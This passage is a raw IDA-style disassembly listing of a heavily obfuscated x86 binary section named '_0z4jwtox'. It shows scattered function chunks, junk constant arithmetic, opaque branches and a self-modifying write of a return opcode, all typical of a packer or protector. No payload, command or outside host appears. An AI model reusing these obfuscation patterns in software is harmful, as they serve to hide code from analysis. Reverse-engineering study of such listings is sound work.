jb loc_74CB18 mov eax, [esp+0] push edx push ecx push 9AF5DCD4h pop ecx and ecx, 0C1A9363Bh jmp loc_75330A ; END OF FUNCTION CHUNK FOR sub_748BB8 ; =============== S U B R O U T I N E ======================================= sub_7460F1 proc near ; CODE XREF: sub_74D7D4+Bp ; _0z4jwtox:007501DFj arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00747847 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00747AAA SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0074AB6F SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0074D41F SIZE 00000005 BYTES xchg eax, [esp+0] pop eax push 3E15E028h xchg esi, [esp+0] jmp loc_74AB6F sub_7460F1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750C2D loc_746102: ; CODE XREF: sub_750C2D+5997j jo loc_74719B loc_746108: ; CODE XREF: sub_750C2D+5292j xor eax, 0AB1F38A0h call sub_746C84 loc_746113: ; CODE XREF: sub_746F33+DD07j jmp nullsub_168 ; END OF FUNCTION CHUNK FOR sub_750C2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C1D8 loc_746118: ; CODE XREF: sub_74C1D8+12j jmp loc_7476CF ; END OF FUNCTION CHUNK FOR sub_74C1D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75532F loc_74611D: ; CODE XREF: sub_75532F-E41Aj jmp nullsub_186 ; END OF FUNCTION CHUNK FOR sub_75532F ; --------------------------------------------------------------------------- loc_746122: ; CODE XREF: _0z4jwtox:00755C1Ej and ecx, 9F9C2C9Fh ; =============== S U B R O U T I N E ======================================= sub_746128 proc near ; CODE XREF: sub_74673E+D487p ; FUNCTION CHUNK AT 00745328 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00746A43 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00748BFE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074F434 SIZE 0000000A BYTES xchg eax, [esp+0] pop eax jnz loc_746A43 mov eax, [ebp-8] mov byte ptr [eax], 0 mov esp, ebp jmp loc_745328 sub_746128 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74613F: ; CODE XREF: _0z4jwtox:00755D74j adc ebx, 0EAEEA2F5h ; =============== S U B R O U T I N E ======================================= sub_746145 proc near ; CODE XREF: sub_745A78:loc_749509p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074A79F SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0074E085 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755720 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi mov eax, [esp-4+arg_0] push edx loc_74614D: ; DATA XREF: .data:off_430ED8o call sub_74A5E8 jmp loc_74E085 sub_746145 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_746157: ; CODE XREF: sub_74D23E+7j or edi, 0AA2A3442h xor edi, 0CDA93632h ; END OF FUNCTION CHUNK FOR sub_74D23E ; =============== S U B R O U T I N E ======================================= sub_746163 proc near ; DATA XREF: .data:off_42D848o add edi, 0D3D62191h test edi, 100000h loc_74616F: ; DATA XREF: .data:off_430FE0o jmp loc_750B2B sub_746163 endp ; --------------------------------------------------------------------------- cdq test edi, esi jmp loc_7474EF ; --------------------------------------------------------------------------- mov [edi], eax jmp sub_74B928 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CF35 loc_746183: ; CODE XREF: sub_74CF35+8E91j jnz loc_748969 jmp loc_755324 ; END OF FUNCTION CHUNK FOR sub_74CF35 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74618E: ; CODE XREF: sub_747AEC:loc_74B219j jnp loc_755624 loc_746194: ; CODE XREF: sub_755E40:loc_7485FDj ; sub_755E40-D42Fj ... jmp loc_755149 ; --------------------------------------------------------------------------- loc_746199: ; CODE XREF: sub_755E40-73BBj ; sub_747AEC+7D47j xchg eax, [esp+4+var_4] mov ecx, eax pop eax xchg edx, [esp+0] jmp loc_757488 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7499A5 loc_7461A7: ; CODE XREF: sub_7499A5:loc_7454D1j xor edx, 51CC9058h sub edx, 0F0EF1B53h jb loc_7450E2 ; END OF FUNCTION CHUNK FOR sub_7499A5 ; START OF FUNCTION CHUNK FOR sub_747736 loc_7461B9: ; CODE XREF: sub_747736:loc_7494F9j mov eax, edi add esi, 0C7C5442Dh jmp loc_747907 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7572F3 loc_7461C6: ; CODE XREF: sub_7572F3:loc_74D40Ej imul byte ptr [edx] cmp al, 0A4h jz loc_7494F9 jmp loc_755C0B ; END OF FUNCTION CHUNK FOR sub_7572F3 ; --------------------------------------------------------------------------- jmp ds:dword_41F0D0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jnz loc_751578 push offset loc_74A10C jmp locret_745EAF ; --------------------------------------------------------------------------- loc_7461EC: ; CODE XREF: _0z4jwtox:0074B688j ror eax, 0Ch ; =============== S U B R O U T I N E ======================================= sub_7461EF proc near ; CODE XREF: sub_74F615+7p xchg edx, [esp+0] pop edx loc_7461F3: ; CODE XREF: _0z4jwtox:0074E23Dj test byte ptr [eax-8], 10h jmp loc_74A37E sub_7461EF endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E685 loc_7461FC: ; CODE XREF: sub_74E685-3105j adc eax, 3C816774h mov [esi], eax jmp loc_746574 ; END OF FUNCTION CHUNK FOR sub_74E685 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B719 loc_746209: ; CODE XREF: sub_74B719:loc_74CC0Fj cmp dword ptr [eax-1Ch], 0F7h jnz loc_755B94 jmp loc_7487BA ; --------------------------------------------------------------------------- loc_74621B: ; CODE XREF: sub_74B719:loc_74DE2Cj mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h jz loc_7487BA jmp loc_7487AA ; END OF FUNCTION CHUNK FOR sub_74B719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7570E0 loc_746230: ; CODE XREF: sub_7570E0:loc_74F083j lea eax, sub_7528FA mov byte ptr [eax], 0C3h jmp sub_7528FA ; END OF FUNCTION CHUNK FOR sub_7570E0 ; =============== S U B R O U T I N E ======================================= sub_74623E proc near ; CODE XREF: sub_4085B9+25p ; sub_74623E+5j ; DATA XREF: ... call sub_74624E jmp ds:off_41F0C8 sub_74623E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74698F loc_746249: ; CODE XREF: sub_74698F+E143j jmp loc_756E43 ; END OF FUNCTION CHUNK FOR sub_74698F ; =============== S U B R O U T I N E ======================================= sub_74624E proc near ; CODE XREF: sub_74623Ep sub_751427+7j ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074A713 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A7EE SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00751433 SIZE 00000007 BYTES jb loc_751433 pop edx mov eax, [esp-4+arg_0] jmp loc_74A713 sub_74624E endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74625D: ; CODE XREF: sub_747C22+1E1Bj pop edi mov esi, edx loc_746260: ; CODE XREF: sub_747C22:loc_747186j ; sub_74D782+Fj ... push offset loc_74D181 jmp nullsub_213 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74721B loc_74626A: ; CODE XREF: sub_74721B+18F2j sub esi, 577CB446h and ebp, 1CC8341Ah mov edi, [esi] shl ebp, 15h sbb esi, edi jmp loc_746E2D ; END OF FUNCTION CHUNK FOR sub_74721B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BFE0 loc_746282: ; CODE XREF: sub_74BFE0+B61Cj js loc_745C2F pushf adc ecx, 0EED7E8EAh jmp loc_750C41 ; END OF FUNCTION CHUNK FOR sub_74BFE0 ; --------------------------------------------------------------------------- loc_746294: ; CODE XREF: _0z4jwtox:loc_74ACF5j push 9A41EADAh pop edx or edx, 0CE7BB300h add edx, 21F8CD75h jmp loc_7463E3 ; --------------------------------------------------------------------------- loc_7462AB: ; CODE XREF: _0z4jwtox:00753BA4j jp loc_757518 xor esi, 0B8EF00B1h cdq jmp loc_7536BF ; --------------------------------------------------------------------------- loc_7462BD: ; CODE XREF: _0z4jwtox:00754ECEj mov esi, 0EBEE8886h ; =============== S U B R O U T I N E ======================================= sub_7462C2 proc near ; CODE XREF: sub_7541CF+Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00745022 SIZE 00000024 BYTES ; FUNCTION CHUNK AT 00747D4C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C219 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C7DE SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074F9B4 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 007510BB SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0075148A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00752B54 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00752B7A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00752BFC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00753221 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00753A67 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755291 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 007574DE SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx imul byte ptr [edx] cmp al, 0A4h jz loc_7510BB jmp loc_753A67 sub_7462C2 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_7462D6 proc near ; DATA XREF: sub_74D23E-7321o ; FUNCTION CHUNK AT 0074F281 SIZE 00000005 BYTES xchg ecx, [esp+0] jmp loc_74F281 sub_7462D6 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A96E loc_7462DE: ; CODE XREF: sub_74A96E:loc_75486Ej xor ecx, 502032A0h adc ebx, 0B4D017B8h loc_7462EA: ; CODE XREF: sub_74A96E:loc_754863j xor edi, 0D79C4AC8h add edi, ebp add edi, 7573787Fh jmp loc_7486B1 ; END OF FUNCTION CHUNK FOR sub_74A96E ; =============== S U B R O U T I N E ======================================= sub_7462FD proc near ; CODE XREF: _0z4jwtox:0074F698p ; _0z4jwtox:0074F951j ; FUNCTION CHUNK AT 007535FC SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0075438C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00754890 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007568D8 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0075720A SIZE 0000000A BYTES xchg esi, [esp+0] pop esi loc_746301: ; CODE XREF: _0z4jwtox:0074D129j push 0E1C7934Bh pop eax add eax, 72E23E51h sub eax, 7AB352CFh test eax, 2000h jmp loc_754890 sub_7462FD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75712E loc_74631E: ; CODE XREF: sub_75712E:loc_74648Dj xchg ecx, [esp-4+arg_0] push 0B21A6E4Ch pop edx rol edx, 1 cmp edx, 2267EC1Ch jmp loc_755979 ; END OF FUNCTION CHUNK FOR sub_75712E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75143A loc_746334: ; CODE XREF: sub_75143A:loc_755BDFj jnb loc_74EA2F test eax, 0C96A91A3h jmp loc_755A9A ; END OF FUNCTION CHUNK FOR sub_75143A ; --------------------------------------------------------------------------- loc_746345: ; CODE XREF: _0z4jwtox:00754944j ror ebp, 1Ah jnb loc_7523ED sbb ebx, ecx ; START OF FUNCTION CHUNK FOR sub_75547D loc_746350: ; CODE XREF: sub_75547D:loc_75492Bj add edi, 1CC9CE6Ch xchg edi, [esp+0] jmp loc_748F55 ; END OF FUNCTION CHUNK FOR sub_75547D ; --------------------------------------------------------------------------- call sub_745DB1 ; START OF FUNCTION CHUNK FOR sub_74673E loc_746363: ; CODE XREF: sub_74673E+103AEj jmp loc_74DF44 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75299B loc_746368: ; CODE XREF: sub_75299B-45BFj jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_75299B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A8D1 loc_74636D: ; CODE XREF: sub_74A8D1:loc_74B93Cj add ecx, ebp push offset sub_74AF10 jmp nullsub_208 ; END OF FUNCTION CHUNK FOR sub_74A8D1 ; --------------------------------------------------------------------------- jo loc_7576F5 jmp loc_74DE4A ; --------------------------------------------------------------------------- loc_746384: ; CODE XREF: _0z4jwtox:007465C5j push 599C95CFh ; =============== S U B R O U T I N E ======================================= sub_746389 proc near ; CODE XREF: sub_747C39:loc_751E50p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00746F70 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748AB2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074A5F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D72A SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074D740 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750C6E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00751E3F SIZE 00000011 BYTES xchg ecx, [esp+0] pop ecx mov eax, [eax] jmp loc_74D72A sub_746389 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_746394: ; CODE XREF: sub_746640+3650j jz loc_75276D jmp loc_753F50 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F08D loc_74639F: ; CODE XREF: sub_74F08D:loc_74C7D2j ; _0z4jwtox:loc_757754j add ebx, 1C829BFDh xchg ebx, [esp+0] jmp loc_74A81C ; END OF FUNCTION CHUNK FOR sub_74F08D ; --------------------------------------------------------------------------- loc_7463AD: ; CODE XREF: _0z4jwtox:00757287j cdq ; =============== S U B R O U T I N E ======================================= sub_7463AE proc near ; CODE XREF: sub_748FA4:loc_749ADCp ; FUNCTION CHUNK AT 00747764 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00747F37 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0074CDBD SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074FA55 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00750C3B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00750C46 SIZE 00000003 BYTES ; FUNCTION CHUNK AT 00751027 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007515BA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753434 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0075674E SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_750C46 jmp loc_74FA55 sub_7463AE endp ; sp-analysis failed ; --------------------------------------------------------------------------- push 0C1D44947h pop eax loc_7463C9: ; CODE XREF: _0z4jwtox:loc_75024Ej add eax, 0AA829861h rol eax, 5 test eax, 800000h jmp loc_74D8DC ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_113. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F688 loc_7463DE: ; CODE XREF: sub_74F688+755Aj jmp loc_7565D2 ; END OF FUNCTION CHUNK FOR sub_74F688 ; --------------------------------------------------------------------------- loc_7463E3: ; CODE XREF: _0z4jwtox:007462A6j xchg edx, [esp] jmp loc_750F5E ; --------------------------------------------------------------------------- mov ecx, esi jmp loc_7543BA ; --------------------------------------------------------------------------- loc_7463F2: ; CODE XREF: _0z4jwtox:loc_74B50Bj xor [ebp-8], eax mov eax, [ebp-8] shl eax, 0Fh jmp loc_74CEC3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7508F9 loc_746400: ; CODE XREF: sub_7508F9:loc_750901j mov eax, [ebp-0Ch] cmp byte ptr [eax], 0 loc_746406: ; CODE XREF: sub_74AAC1:loc_74E6B6j jnz loc_74C8BF mov eax, [ebp-8] jmp loc_754191 ; END OF FUNCTION CHUNK FOR sub_7508F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750638 loc_746414: ; CODE XREF: sub_750638-A5B0j ; sub_750638:loc_74E329j mov eax, [ebp+var_108] mov byte ptr [ebp+eax+var_100], 0 call sub_74698F loc_746427: ; CODE XREF: _0z4jwtox:007567ADj jnz loc_74DFC4 test edi, 423B8894h jmp loc_755810 ; END OF FUNCTION CHUNK FOR sub_750638 ; --------------------------------------------------------------------------- loc_746438: ; CODE XREF: _0z4jwtox:0074EF86j jnz loc_752A88 jmp loc_748C08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_746443: ; CODE XREF: sub_746640:loc_7570ACj jb loc_74FCCE jmp loc_749A42 ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- loc_74644E: ; CODE XREF: _0z4jwtox:0074B3C1j xor edx, edi loc_746450: ; CODE XREF: _0z4jwtox:loc_74B3B2j add esi, 0DC41F090h mov [esi], eax call sub_74D343 ; START OF FUNCTION CHUNK FOR sub_748723 loc_74645D: ; CODE XREF: sub_748723+9EE9j mov esi, 15E824FDh sub eax, esi add edx, 10049371h loc_74646A: ; CODE XREF: _0z4jwtox:loc_756118j mov eax, [ebp-4] jmp loc_74733D ; END OF FUNCTION CHUNK FOR sub_748723 ; --------------------------------------------------------------------------- loc_746472: ; CODE XREF: _0z4jwtox:00745738j add edx, 3FF8A874h mov edx, [edx] mov edx, [edx+1Ch] call sub_750AEB ; START OF FUNCTION CHUNK FOR sub_74C733 loc_746482: ; CODE XREF: sub_74C733+4AC8j jmp loc_74F956 ; END OF FUNCTION CHUNK FOR sub_74C733 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75712E loc_746487: ; CODE XREF: sub_75712E:loc_757141j jz loc_7569D5 loc_74648D: ; CODE XREF: _0z4jwtox:00754498j jmp loc_74631E ; END OF FUNCTION CHUNK FOR sub_75712E ; --------------------------------------------------------------------------- xchg esi, ebx xor eax, edi or esi, 2B487B10h jmp loc_7454DB ; --------------------------------------------------------------------------- sub ebx, 1DA5AAD2h jmp sub_74DFE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752C44 loc_7464AC: ; CODE XREF: sub_752C44+Aj jnz loc_75269A jmp loc_7562A1 ; END OF FUNCTION CHUNK FOR sub_752C44 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75609F loc_7464B7: ; CODE XREF: sub_75609F+10j cmp ebx, 80AC0E2Dh jmp loc_7507EB ; END OF FUNCTION CHUNK FOR sub_75609F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C874 loc_7464C2: ; CODE XREF: sub_74C874-31B4j mov eax, [esp+0] push edx call sub_745715 mov eax, 0DE9EBB8Dh jmp loc_745973 ; END OF FUNCTION CHUNK FOR sub_74C874 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B01A loc_7464D5: ; CODE XREF: sub_74B01A+1j push 0D6785F01h pop edi and edi, 5B3A9B80h sub edi, 35795280h add edi, 0E3B63DF0h xchg edi, [esp+4+var_4] jmp loc_750676 ; END OF FUNCTION CHUNK FOR sub_74B01A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_7464F5: ; CODE XREF: sub_747C39:loc_754529j or eax, 147BCFA4h xor eax, 0E1F2425Bh call sub_746E93 push esi push 44F7944h pop esi add esi, 1846116Eh loc_746513: ; CODE XREF: _0z4jwtox:00752409j xor esi, 6B93BE1Bh jmp loc_74B520 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- loc_74651E: ; CODE XREF: _0z4jwtox:00745876j adc edi, 5585C826h ; START OF FUNCTION CHUNK FOR sub_755C38 loc_746524: ; CODE XREF: sub_755C38:loc_745866j and edx, 5670A293h cmp edx, 9EE99FD8h jmp loc_74E714 ; END OF FUNCTION CHUNK FOR sub_755C38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571E0 loc_746535: ; CODE XREF: sub_7571E0:loc_74F655j xchg edi, [esp+0] jmp loc_748E39 ; END OF FUNCTION CHUNK FOR sub_7571E0 ; --------------------------------------------------------------------------- loc_74653D: ; CODE XREF: _0z4jwtox:loc_748413j push offset loc_74BEC8 jmp loc_7522AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C2C9 loc_746547: ; CODE XREF: sub_74C2C9:loc_74FFBBj xchg edi, [esp+0] jmp loc_75623C ; END OF FUNCTION CHUNK FOR sub_74C2C9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_298. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_746550: ; CODE XREF: _0z4jwtox:007456DEj jp loc_74DD76 ; =============== S U B R O U T I N E ======================================= sub_746556 proc near ; CODE XREF: sub_748C98+1376p ; FUNCTION CHUNK AT 007456E3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074712C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0075279D SIZE 00000014 BYTES xchg ecx, [esp+0] loc_746559: ; CODE XREF: sub_74656Ej pop ecx ror eax, 0Ah jb loc_75279D push offset sub_7545C6 jmp nullsub_26 sub_746556 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 23h ; =============== S U B R O U T I N E ======================================= sub_74656E proc near ; DATA XREF: .data:off_42D70Co jmp short loc_746559 sub_74656E endp ; --------------------------------------------------------------------------- dd 181Fh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E685 loc_746574: ; CODE XREF: sub_74E685-8481j ; sub_74E685:loc_74B57Aj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_74A3A3 jmp loc_753BBA ; END OF FUNCTION CHUNK FOR sub_74E685 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7452F3 loc_746585: ; CODE XREF: sub_7452F3+5877j pushf jmp loc_7458DF ; END OF FUNCTION CHUNK FOR sub_7452F3 ; =============== S U B R O U T I N E ======================================= sub_74658B proc near ; CODE XREF: sub_754A3D-E092j ; sub_74A3AB+A50Ap xchg edx, [esp+0] pop edx mov [edx], eax pop edx mov eax, [ebp-4] mov al, [eax] push offset loc_75140E jmp nullsub_27 sub_74658B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D23E loc_7465A1: ; CODE XREF: _0z4jwtox:00747E69j ; sub_74D23E:loc_74EBB0j xchg eax, [esp+8+var_8] mov edx, eax push ecx mov ecx, edx xchg ecx, [esp+0Ch+var_C] push 0B3ABB6EAh pop edx jmp loc_745B27 ; END OF FUNCTION CHUNK FOR sub_74D23E ; --------------------------------------------------------------------------- loc_7465B7: ; CODE XREF: _0z4jwtox:loc_746B92j jz loc_745669 jmp loc_7473B6 ; --------------------------------------------------------------------------- mov [ebp+0], ebx jmp loc_746384 ; --------------------------------------------------------------------------- loc_7465CA: ; CODE XREF: _0z4jwtox:0075563Bj mov ebp, edx jmp loc_755FE9 ; --------------------------------------------------------------------------- loc_7465D1: ; CODE XREF: _0z4jwtox:0074F31Bj pop esi ; =============== S U B R O U T I N E ======================================= sub_7465D2 proc near ; CODE XREF: _0z4jwtox:00749DDDp var_8 = dword ptr -8 ; FUNCTION CHUNK AT 007483E9 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074B941 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074BE09 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074CC80 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0075373D SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00756DB6 SIZE 0000001E BYTES xchg eax, [esp+0] pop eax push edi push 2D55127Dh pop edi xor edi, 125D8F69h add edi, 373ACD67h jmp loc_74CC80 sub_7465D2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7465EE proc near ; CODE XREF: _0z4jwtox:007494E7j ; sub_752B0Cp xchg ebx, [esp+0] pop ebx call sub_7523A2 jmp ds:off_41F0D8 sub_7465EE endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_7465FD: ; CODE XREF: sub_7474B9+D1Fj jmp loc_7520C8 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7491FD loc_746602: ; CODE XREF: sub_7491FD:loc_7557ACj push ecx push edx pop ecx xchg ecx, [esp+4+var_4] push ecx push 8C2B0DF1h jmp loc_7575E3 ; END OF FUNCTION CHUNK FOR sub_7491FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74870B loc_746613: ; CODE XREF: sub_74870B+13j push edx push eax mov eax, [ebp-8] cdq loc_746619: ; CODE XREF: sub_74D0A9:loc_74C3AEj add eax, [esp+8+var_8] adc edx, [esp+8+var_4] add esp, 8 jmp loc_7551C3 ; END OF FUNCTION CHUNK FOR sub_74870B ; --------------------------------------------------------------------------- jge nullsub_273 jmp loc_7567B2 ; =============== S U B R O U T I N E ======================================= sub_746633 proc near ; CODE XREF: sub_747D98+83p ; sub_751307:loc_74ACCFj xchg ecx, [esp+0] pop ecx add esp, 4 retn sub_746633 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_74663B: ; CODE XREF: _0z4jwtox:00752691j jmp locret_74C0B1 ; =============== S U B R O U T I N E ======================================= sub_746640 proc near ; CODE XREF: sub_7459E9p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074545D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007457EC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00746394 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00746443 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00746D1C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007471EA SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074786D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00748B1F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748E43 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00749A42 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00749C84 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074A1AA SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074BA02 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0074BBB4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074BC2E SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0074D230 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074ECC1 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074FB54 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0074FCC8 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00750BDB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00751288 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 007522D4 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0075365B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00753D76 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753F50 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0075410B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007544FE SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00754881 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755216 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0075567C SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00755E1D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00756361 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00756724 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 007570AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075716C SIZE 00000017 BYTES ; FUNCTION CHUNK AT 007578C2 SIZE 00000007 BYTES call sub_747D98 loc_746645: ; CODE XREF: sub_74ECEF-554j jmp loc_74ECC1 sub_746640 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E0EB loc_74664A: ; CODE XREF: sub_74E0EB+8j push offset loc_754F89 jmp nullsub_64 ; END OF FUNCTION CHUNK FOR sub_74E0EB ; --------------------------------------------------------------------------- loc_746654: ; CODE XREF: _0z4jwtox:0074C17Ej cmp edx, eax jmp loc_74A982 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747778 loc_74665B: ; CODE XREF: sub_747778:loc_74E61Bj push eax mov eax, [ebp+8] test byte ptr [eax-8], 8 setnz al push offset loc_752808 jmp nullsub_65 ; END OF FUNCTION 